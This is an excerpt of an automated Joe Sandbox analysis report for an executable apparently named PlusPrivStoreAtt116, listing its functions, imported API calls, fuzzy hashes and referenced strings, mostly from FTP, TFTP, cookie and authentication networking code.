free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF6029BA22C
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF6029BA236
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF6029BA240
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF6029BA249

Memory Dump Source

Source File: 00000000.00000002.2631386007.00007FF6029A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6029A0000, based on PE: true

Associated: 00000000.00000002.2631331636.00007FF6029A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631479271.00007FF602A02000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631509215.00007FF602A19000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631566516.00007FF602A1A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631566516.00007FF602A1F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6029a0000_PlusPrivStoreAtt116.jbxd

Similarity

API ID: free
String ID:
API String ID: 1294909896-0
Opcode ID: ba3c6830358e7528ed72be0c954360400be3cdaf49af343b8df36180f5656063
Instruction ID: c0848455ea28dc30aa8df367c1f8dfee0831fda0fefdc615a4d0c592ca16ad11
Opcode Fuzzy Hash: ba3c6830358e7528ed72be0c954360400be3cdaf49af343b8df36180f5656063
Instruction Fuzzy Hash: EF31FA36A08A5185D721DF12E9542296B74FF84FD8F240431DE9D87B59CFBDE481D700

Function 00007FF6029BA2A0 Relevance: 11.3, APIs: 9, Instructions: 32COMMON

Download Yara Rule

APIs

free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF6029BA2B9
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF6029BA2C3
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF6029BA2CD
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF6029BA2D7
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF6029BA2E1
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF6029BA2EB
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF6029BA2F5
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF6029BA2FF
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF6029BA308

Memory Dump Source

Source File: 00000000.00000002.2631386007.00007FF6029A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6029A0000, based on PE: true

Associated: 00000000.00000002.2631331636.00007FF6029A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631479271.00007FF602A02000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631509215.00007FF602A19000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631566516.00007FF602A1A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631566516.00007FF602A1F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6029a0000_PlusPrivStoreAtt116.jbxd

Similarity

API ID: free
String ID:
API String ID: 1294909896-0
Opcode ID: 89febe505de102955aa40a6d6fbd39999fc8921961043ca983f536c30d848905
Instruction ID: 82c8fe0ed14ed7cd1dcadb20851dcf7bb4a0419e05b8e8ac2fd181b000bece23
Opcode Fuzzy Hash: 89febe505de102955aa40a6d6fbd39999fc8921961043ca983f536c30d848905
Instruction Fuzzy Hash: F901ACA6B14A0282DB25DF22E9641396730FF88F99B241431CD9E83728CF6CD895D350

Function 00007FF6029F4830 Relevance: 10.7, APIs: 7, Instructions: 242COMMON

Download Yara Rule

APIs

Part of subcall function 00007FF6029BC510: free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF6029BC546
Part of subcall function 00007FF6029BC510: free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF6029BC556
Part of subcall function 00007FF6029BC510: free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF6029BC564
Part of subcall function 00007FF6029BC510: memset.VCRUNTIME140 ref: 00007FF6029BC59F

malloc.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF6029F48F9
memcpy.VCRUNTIME140 ref: 00007FF6029F4914
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF6029F492E

Memory Dump Source

Source File: 00000000.00000002.2631386007.00007FF6029A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6029A0000, based on PE: true

Associated: 00000000.00000002.2631331636.00007FF6029A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631479271.00007FF602A02000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631509215.00007FF602A19000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631566516.00007FF602A1A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631566516.00007FF602A1F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6029a0000_PlusPrivStoreAtt116.jbxd

Similarity

API ID: free$mallocmemcpymemset
String ID:
API String ID: 1579693990-0
Opcode ID: 8fb3d6d3ee099111430005b96dd445b6f329aa6f6764831057bf426af99e6c2f
Instruction ID: 7cd4d34a2989bbb6d5499c01c05f210bc453ecae2f7a68dba70cc94ad9f18a01
Opcode Fuzzy Hash: 8fb3d6d3ee099111430005b96dd445b6f329aa6f6764831057bf426af99e6c2f
Instruction Fuzzy Hash: 9C917E25B4878282FAD59A27955037B6A90BF45BCCF285038EF4DCB787DFACE4518304

Function 00007FF6029C98F0 Relevance: 10.7, APIs: 4, Strings: 3, Instructions: 217stringCOMMON

Download Yara Rule

APIs

strncmp.API-MS-WIN-CRT-STRING-L1-1-0(?,?,?,?,?,?,00007FF6029C98B8), ref: 00007FF6029C9A05
strncmp.API-MS-WIN-CRT-STRING-L1-1-0(?,?,?,?,?,?,00007FF6029C98B8), ref: 00007FF6029C9A1F

Strings

I64, xrefs: 00007FF6029C9A15, 00007FF6029C9A7F
Internal error removing splay node = %d, xrefs: 00007FF6029C9902
I32, xrefs: 00007FF6029C99F5, 00007FF6029C9A55

Memory Dump Source

Source File: 00000000.00000002.2631386007.00007FF6029A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6029A0000, based on PE: true

Associated: 00000000.00000002.2631331636.00007FF6029A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631479271.00007FF602A02000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631509215.00007FF602A19000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631566516.00007FF602A1A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631566516.00007FF602A1F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6029a0000_PlusPrivStoreAtt116.jbxd

Similarity

API ID: strncmp
String ID: I32$I64$Internal error removing splay node = %d
API String ID: 1114863663-13178787
Opcode ID: 2c182daf1c2e6d25c5e7bf0efd11d6bda6f881fcecf2cdaad549c930c6f98041
Instruction ID: cdbb0d0cbabc90240b910d35fc5f3b431d6a1d6449ca5ed51b4dc3b59d2c0826
Opcode Fuzzy Hash: 2c182daf1c2e6d25c5e7bf0efd11d6bda6f881fcecf2cdaad549c930c6f98041
Instruction Fuzzy Hash: CDA1B272A08A42C6EB208B16E49477D7FA4FF49B4CF264535DA8D87256DF7CD248C740

Function 00007FF6029D8210 Relevance: 10.7, APIs: 3, Strings: 3, Instructions: 165stringCOMMON

Download Yara Rule

APIs

_errno.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,?,00007FF6029BB23A,?,?,?,?,?,?,?,00007FF6029BB007), ref: 00007FF6029D8221
strchr.VCRUNTIME140(?,?,?,00000000,TRUE,?,00000000,00000000,00000000,?), ref: 00007FF6029D83C3
strchr.VCRUNTIME140(?,?,?,00000000,TRUE,?,00000000,00000000,00000000,?), ref: 00007FF6029D83E0

Strings

TRUE, xrefs: 00007FF6029D834C
0123456789ABCDEF, xrefs: 00007FF6029D83D2, 00007FF6029D83D9
0123456789abcdef, xrefs: 00007FF6029D83B2, 00007FF6029D83BC

Memory Dump Source

Source File: 00000000.00000002.2631386007.00007FF6029A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6029A0000, based on PE: true

Associated: 00000000.00000002.2631331636.00007FF6029A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631479271.00007FF602A02000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631509215.00007FF602A19000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631566516.00007FF602A1A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631566516.00007FF602A1F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6029a0000_PlusPrivStoreAtt116.jbxd

Similarity

API ID: strchr$_errno
String ID: 0123456789ABCDEF$0123456789abcdef$TRUE
API String ID: 2644425738-1191287149
Opcode ID: 720e810a07ba9ee7a915715f5eb5251aab670f7d7701d63ee000b7329d776947
Instruction ID: 2e0bc3d8899aea3824febf09e05ee9820bcc24bc4d0bb71c4652a28e12b7bbf7
Opcode Fuzzy Hash: 720e810a07ba9ee7a915715f5eb5251aab670f7d7701d63ee000b7329d776947
Instruction Fuzzy Hash: CE510662B1D78641EE618B16E45017E7B91BF96B8CFB84031DA4D87787EEBCE442D300

Function 00007FF6029B9C29 Relevance: 10.7, APIs: 2, Strings: 4, Instructions: 153COMMON

Download Yara Rule

APIs

_strdup.API-MS-WIN-CRT-STRING-L1-1-0 ref: 00007FF6029B9C2C

Part of subcall function 00007FF6029D8000: strchr.VCRUNTIME140 ref: 00007FF6029D8036

_strdup.API-MS-WIN-CRT-STRING-L1-1-0 ref: 00007FF6029B9C81

Strings

Added, xrefs: 00007FF6029B9F1D
%s cookie %s="%s" for domain %s, path %s, expire %I64d, xrefs: 00007FF6029B9F27
Replaced, xrefs: 00007FF6029B9F11
FALSE, xrefs: 00007FF6029B9C5B

Memory Dump Source

Source File: 00000000.00000002.2631386007.00007FF6029A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6029A0000, based on PE: true

Associated: 00000000.00000002.2631331636.00007FF6029A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631479271.00007FF602A02000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631509215.00007FF602A19000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631566516.00007FF602A1A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631566516.00007FF602A1F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6029a0000_PlusPrivStoreAtt116.jbxd

Similarity

API ID: _strdup$strchr
String ID: %s cookie %s="%s" for domain %s, path %s, expire %I64d$Added$FALSE$Replaced
API String ID: 3404610657-2292467869
Opcode ID: a6e86d0d8c1b604ae3b2518e346ea28a980f38ef4426c97f5ec4fbd951027936
Instruction ID: e87615e210adfab675b85daa77c723845ade8fe3ec9f8e195fb3a8f3c39919d2
Opcode Fuzzy Hash: a6e86d0d8c1b604ae3b2518e346ea28a980f38ef4426c97f5ec4fbd951027936
Instruction Fuzzy Hash: A0614161A1878645FFB28B17D6443796FA4EF4575CF280436DB8D82792DFACE884C710

Function 00007FF6029E0BD0 Relevance: 10.6, APIs: 6, Strings: 1, Instructions: 146COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF6029E0C1A
memcpy.VCRUNTIME140 ref: 00007FF6029E0D31
memcpy.VCRUNTIME140 ref: 00007FF6029E0DA2
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF6029E0DCE
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF6029E0DE0

Strings

Failed to alloc scratch buffer!, xrefs: 00007FF6029E0C30

Memory Dump Source

Source File: 00000000.00000002.2631386007.00007FF6029A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6029A0000, based on PE: true

Associated: 00000000.00000002.2631331636.00007FF6029A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631479271.00007FF602A02000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631509215.00007FF602A19000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631566516.00007FF602A1A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631566516.00007FF602A1F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6029a0000_PlusPrivStoreAtt116.jbxd

Similarity

API ID: freememcpy$malloc
String ID: Failed to alloc scratch buffer!
API String ID: 169112436-1446904845
Opcode ID: 30bb57163dd0e459233f4c901b6c6684872ce2edd2010a8ced2156bea305e7d5
Instruction ID: d0826c1bdce61ecbfe2f5aeed8d931115e21ab126287690f303c4f41ba272656
Opcode Fuzzy Hash: 30bb57163dd0e459233f4c901b6c6684872ce2edd2010a8ced2156bea305e7d5
Instruction Fuzzy Hash: 05518076A1878186EB25CB66E4403AABBA0FF09788F640535CF8D57756DFBCE194C700

Function 00007FF6029E3D10 Relevance: 10.6, APIs: 1, Strings: 6, Instructions: 146stringCOMMON

Download Yara Rule

APIs

strstr.VCRUNTIME140 ref: 00007FF6029E3DD3

Strings

Data conn was not available immediately, xrefs: 00007FF6029E3EC7
RETR response: %03d, xrefs: 00007FF6029E3D68
bytes, xrefs: 00007FF6029E3DC9
Getting file with size: %I64d, xrefs: 00007FF6029E3E85
Maxdownload = %I64d, xrefs: 00007FF6029E3E6C, 00007FF6029E3F0B
, xrefs: 00007FF6029E3D77

Memory Dump Source

Source File: 00000000.00000002.2631386007.00007FF6029A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6029A0000, based on PE: true

Associated: 00000000.00000002.2631331636.00007FF6029A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631479271.00007FF602A02000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631509215.00007FF602A19000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631566516.00007FF602A1A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631566516.00007FF602A1F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6029a0000_PlusPrivStoreAtt116.jbxd

Similarity

API ID: strstr
String ID: $ bytes$Data conn was not available immediately$Getting file with size: %I64d$Maxdownload = %I64d$RETR response: %03d
API String ID: 1392478783-2096918210
Opcode ID: 9a402e8cf4004aa73a4df746a83b6670b64194dc558fb749e3d42ca1ab97fcf1
Instruction ID: 67fa7dd509023054c5b856f48c949d87f2164f414549a1433be62b4b4fd47962
Opcode Fuzzy Hash: 9a402e8cf4004aa73a4df746a83b6670b64194dc558fb749e3d42ca1ab97fcf1
Instruction Fuzzy Hash: A151F672A0878682FF24972AE4442B96B90FF4576CF644675DA5C836D7EFFCE4828700

Function 00007FF6029F86DB Relevance: 10.6, APIs: 3, Strings: 4, Instructions: 145COMMON

Download Yara Rule

APIs

free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF6029F8A09
malloc.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF6029F8A49
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF6029F8A5C

Strings

Signature: %s, xrefs: 00007FF6029F89F7
GMT, xrefs: 00007FF6029F878E
Signature, xrefs: 00007FF6029F89DF
%.4s-%.2s-%.2s %.2s:%.2s:%c%c%s%.*s%s%.*s, xrefs: 00007FF6029F87FF

Memory Dump Source

Source File: 00000000.00000002.2631386007.00007FF6029A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6029A0000, based on PE: true

Associated: 00000000.00000002.2631331636.00007FF6029A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631479271.00007FF602A02000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631509215.00007FF602A19000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631566516.00007FF602A1A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631566516.00007FF602A1F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6029a0000_PlusPrivStoreAtt116.jbxd

Similarity

API ID: free$malloc
String ID: Signature: %s$ GMT$%.4s-%.2s-%.2s %.2s:%.2s:%c%c%s%.*s%s%.*s$Signature
API String ID: 2190258309-3231818857
Opcode ID: 8ead59d0cc5f3b0d3cd798f73adf085f83e2e1a8f83e072cb6227eff2c3bee4e
Instruction ID: b8b23e0476b502a928bc480fec3f3fef71ddf70a6c45f24af5bbd45329ff7b82
Opcode Fuzzy Hash: 8ead59d0cc5f3b0d3cd798f73adf085f83e2e1a8f83e072cb6227eff2c3bee4e
Instruction Fuzzy Hash: C351B762A4C7C285EBE1CB26A4442BA7BA4FF45BD8F640432DA4D93756DFBCE145C700

Function 00007FF6029E3AE0 Relevance: 10.6, APIs: 1, Strings: 5, Instructions: 145networkCOMMON

Download Yara Rule

APIs

WSAGetLastError.WS2_32 ref: 00007FF6029E3C86

Part of subcall function 00007FF6029FAE10: memcpy.VCRUNTIME140 ref: 00007FF6029FAEB8
Part of subcall function 00007FF6029FAE10: free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF6029FAEC9

Strings

*, xrefs: 00007FF6029E3C54
We got a 421 - timeout!, xrefs: 00007FF6029E3CC5
QUOT string not accepted: %s, xrefs: 00007FF6029E3CAF
FTP response timeout, xrefs: 00007FF6029E3CF3
FTP response aborted due to select/poll error: %d, xrefs: 00007FF6029E3C94

Memory Dump Source

Source File: 00000000.00000002.2631386007.00007FF6029A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6029A0000, based on PE: true

Associated: 00000000.00000002.2631331636.00007FF6029A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631479271.00007FF602A02000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631509215.00007FF602A19000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631566516.00007FF602A1A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631566516.00007FF602A1F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6029a0000_PlusPrivStoreAtt116.jbxd

Similarity

API ID: ErrorLastfreememcpy
String ID: *$FTP response aborted due to select/poll error: %d$FTP response timeout$QUOT string not accepted: %s$We got a 421 - timeout!
API String ID: 1248052217-2335292235
Opcode ID: 013f559d9c1116de28fbcc304facaa6d4dbf8564b529c43bdfbb009aba29f948
Instruction ID: f01e0d2fea2df394768b932c8b1c2e390a2920fc7317b8da9edfdb457ff42c34
Opcode Fuzzy Hash: 013f559d9c1116de28fbcc304facaa6d4dbf8564b529c43bdfbb009aba29f948
Instruction Fuzzy Hash: F151BF32A0868291FF649A27D9503B91B90BF85B9CF248575DE4EC72D7FFACE4858304

Function 00007FF6029C8D30 Relevance: 10.6, APIs: 4, Strings: 3, Instructions: 144COMMON

Download Yara Rule

APIs

free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF6029F2A54
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF6029F2A7A
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF6029F2A88

Strings

stale, xrefs: 00007FF6029F29DF
true, xrefs: 00007FF6029F29F4
Digest, xrefs: 00007FF6029C8D58

Memory Dump Source

Source File: 00000000.00000002.2631386007.00007FF6029A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6029A0000, based on PE: true

Associated: 00000000.00000002.2631331636.00007FF6029A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631479271.00007FF602A02000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631509215.00007FF602A19000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631566516.00007FF602A1A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631566516.00007FF602A1F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6029a0000_PlusPrivStoreAtt116.jbxd

Similarity

API ID: free
String ID: Digest$stale$true
API String ID: 1294909896-2487968700
Opcode ID: fa91a0250978750f9259b25ace6eee135c3ef38397716072aef58d0f62bb0c78
Instruction ID: 8628c16c27ee930db969e64270aae04e5cf0661951a3750733f8453b7d798e7f
Opcode Fuzzy Hash: fa91a0250978750f9259b25ace6eee135c3ef38397716072aef58d0f62bb0c78
Instruction Fuzzy Hash: 78516322A08B4681FBA08F26E5503BA7BA0FF44B98F644131EE9DC76C6DF6CE555C710

Function 00007FF6029EC8C0 Relevance: 10.6, APIs: 3, Strings: 3, Instructions: 139COMMON

Download Yara Rule

APIs

recvfrom.WS2_32 ref: 00007FF6029EC920
memcpy.VCRUNTIME140 ref: 00007FF6029EC946
memchr.VCRUNTIME140 ref: 00007FF6029ECA43

Strings

TFTP error: %s, xrefs: 00007FF6029ECA60
Received too short packet, xrefs: 00007FF6029EC972
Internal error: Unexpected packet, xrefs: 00007FF6029EC9E8

Memory Dump Source

Source File: 00000000.00000002.2631386007.00007FF6029A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6029A0000, based on PE: true

Associated: 00000000.00000002.2631331636.00007FF6029A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631479271.00007FF602A02000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631509215.00007FF602A19000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631566516.00007FF602A1A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631566516.00007FF602A1F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6029a0000_PlusPrivStoreAtt116.jbxd

Similarity

API ID: memchrmemcpyrecvfrom
String ID: Internal error: Unexpected packet$Received too short packet$TFTP error: %s
API String ID: 3107918033-477593554
Opcode ID: 0c93f5223128682b2c0041b548f434a10e6fe3b52573237400c3c347fc413c6c
Instruction ID: 3e1d50baa6218e1be21deb54095b6a4a5fb173df0d544ef5d90c9b6cd915099c
Opcode Fuzzy Hash: 0c93f5223128682b2c0041b548f434a10e6fe3b52573237400c3c347fc413c6c
Instruction Fuzzy Hash: 2151A072A0868285EB64DB26D4503BA7B90FF85B48F244137DA8DC778AEE7CE445C750

Function 00007FF6029A2380 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 134COMMON

Download Yara Rule

APIs

Part of subcall function 00007FF6029A6DE0: memcpy.VCRUNTIME140(?,?,?,?,00000000,00007FF6029A23DB), ref: 00007FF6029A6E5E
Part of subcall function 00007FF6029A6DE0: memcpy.VCRUNTIME140(?,?,?,?,00000000,00007FF6029A23DB), ref: 00007FF6029A6E6C
Part of subcall function 00007FF6029A6DE0: memcpy.VCRUNTIME140(?,?,?,?,00000000,00007FF6029A23DB), ref: 00007FF6029A6E82

Part of subcall function 00007FF6029A3BC0: memcpy.VCRUNTIME140(?,?,?,?,?,00007FF6029A1D9B), ref: 00007FF6029A3C06

Part of subcall function 00007FF6029A5DE0: memcpy.VCRUNTIME140(?,?,?,00007FF6029A1DCA), ref: 00007FF6029A5E71

_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF6029A2479
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF6029A24B8
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF6029A2506
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF6029A2554

Strings

, column , xrefs: 00007FF6029A2409
at line , xrefs: 00007FF6029A23CC

Memory Dump Source

Source File: 00000000.00000002.2631386007.00007FF6029A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6029A0000, based on PE: true

Associated: 00000000.00000002.2631331636.00007FF6029A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631479271.00007FF602A02000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631509215.00007FF602A19000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631566516.00007FF602A1A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631566516.00007FF602A1F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6029a0000_PlusPrivStoreAtt116.jbxd

Similarity

API ID: memcpy$_invalid_parameter_noinfo_noreturn
String ID: at line $, column
API String ID: 2665656946-191570568
Opcode ID: e3e18ae7d8bdb10a3831579929a218dcf241e4e20c85fb7eaf6288b65ea3a085
Instruction ID: 5917c07009ec9736b1ff0875b0637106849dc59b5fef7710dc27511a35ba93c9
Opcode Fuzzy Hash: e3e18ae7d8bdb10a3831579929a218dcf241e4e20c85fb7eaf6288b65ea3a085
Instruction Fuzzy Hash: 7E51B062F08B8285FB00DBA5D4943AC2B62EF447ACF105234DE6D53BDADEB8D486D340

Function 00007FF6029A4A10 Relevance: 10.6, APIs: 7, Instructions: 133COMMON

Download Yara Rule

APIs

?flush@?$basic_ostream@DU?$char_traits@D@std@@@std@@QEAAAEAV12@XZ.MSVCP140(?,?,00000000,?,?,00007FF6029A315B,?,?,?,00007FF6029A3114), ref: 00007FF6029A4AA3
?sputc@?$basic_streambuf@DU?$char_traits@D@std@@@std@@QEAAHD@Z.MSVCP140(?,?,00000000,?,?,00007FF6029A315B,?,?,?,00007FF6029A3114), ref: 00007FF6029A4AF7
?sputn@?$basic_streambuf@DU?$char_traits@D@std@@@std@@QEAA_JPEBD_J@Z.MSVCP140(?,?,00000000,?,?,00007FF6029A315B,?,?,?,00007FF6029A3114), ref: 00007FF6029A4B1E
?sputc@?$basic_streambuf@DU?$char_traits@D@std@@@std@@QEAAHD@Z.MSVCP140(?,?,00000000,?,?,00007FF6029A315B,?,?,?,00007FF6029A3114), ref: 00007FF6029A4B46
?setstate@?$basic_ios@DU?$char_traits@D@std@@@std@@QEAAXH_N@Z.MSVCP140(?,?,00000000,?,?,00007FF6029A315B,?,?,?,00007FF6029A3114), ref: 00007FF6029A4B8C
?uncaught_exception@std@@YA_NXZ.MSVCP140(?,?,00000000,?,?,00007FF6029A315B,?,?,?,00007FF6029A3114), ref: 00007FF6029A4B93
?_Osfx@?$basic_ostream@DU?$char_traits@D@std@@@std@@QEAAXXZ.MSVCP140(?,?,00000000,?,?,00007FF6029A315B,?,?,?,00007FF6029A3114), ref: 00007FF6029A4BA0

Memory Dump Source

Source File: 00000000.00000002.2631386007.00007FF6029A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6029A0000, based on PE: true

Associated: 00000000.00000002.2631331636.00007FF6029A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631479271.00007FF602A02000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631509215.00007FF602A19000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631566516.00007FF602A1A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631566516.00007FF602A1F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6029a0000_PlusPrivStoreAtt116.jbxd

Similarity

API ID: D@std@@@std@@U?$char_traits@$?sputc@?$basic_streambuf@$?flush@?$basic_ostream@?setstate@?$basic_ios@?sputn@?$basic_streambuf@?uncaught_exception@std@@Osfx@?$basic_ostream@V12@
String ID:
API String ID: 1492985063-0
Opcode ID: 8539b71a9476b0b565f630c419d2d07fcfc2176833b4c9dbc2d1a14acb684146
Instruction ID: f9ed191d5119d6e01229c8919e43b4e74b36d63f1eae400ca3d22b9df35a85b1
Opcode Fuzzy Hash: 8539b71a9476b0b565f630c419d2d07fcfc2176833b4c9dbc2d1a14acb684146
Instruction Fuzzy Hash: 0A517332A09B4181EB208B1AD49433CABA0EF85F99F25D235CE5F837A1CFB9D5429344

Function 00007FF6029F1440 Relevance: 10.6, APIs: 3, Strings: 4, Instructions: 129COMMON

Download Yara Rule

APIs

free.API-MS-WIN-CRT-HEAP-L1-1-0(?,Negotiate,?,00007FF6029D4DD6), ref: 00007FF6029F159D
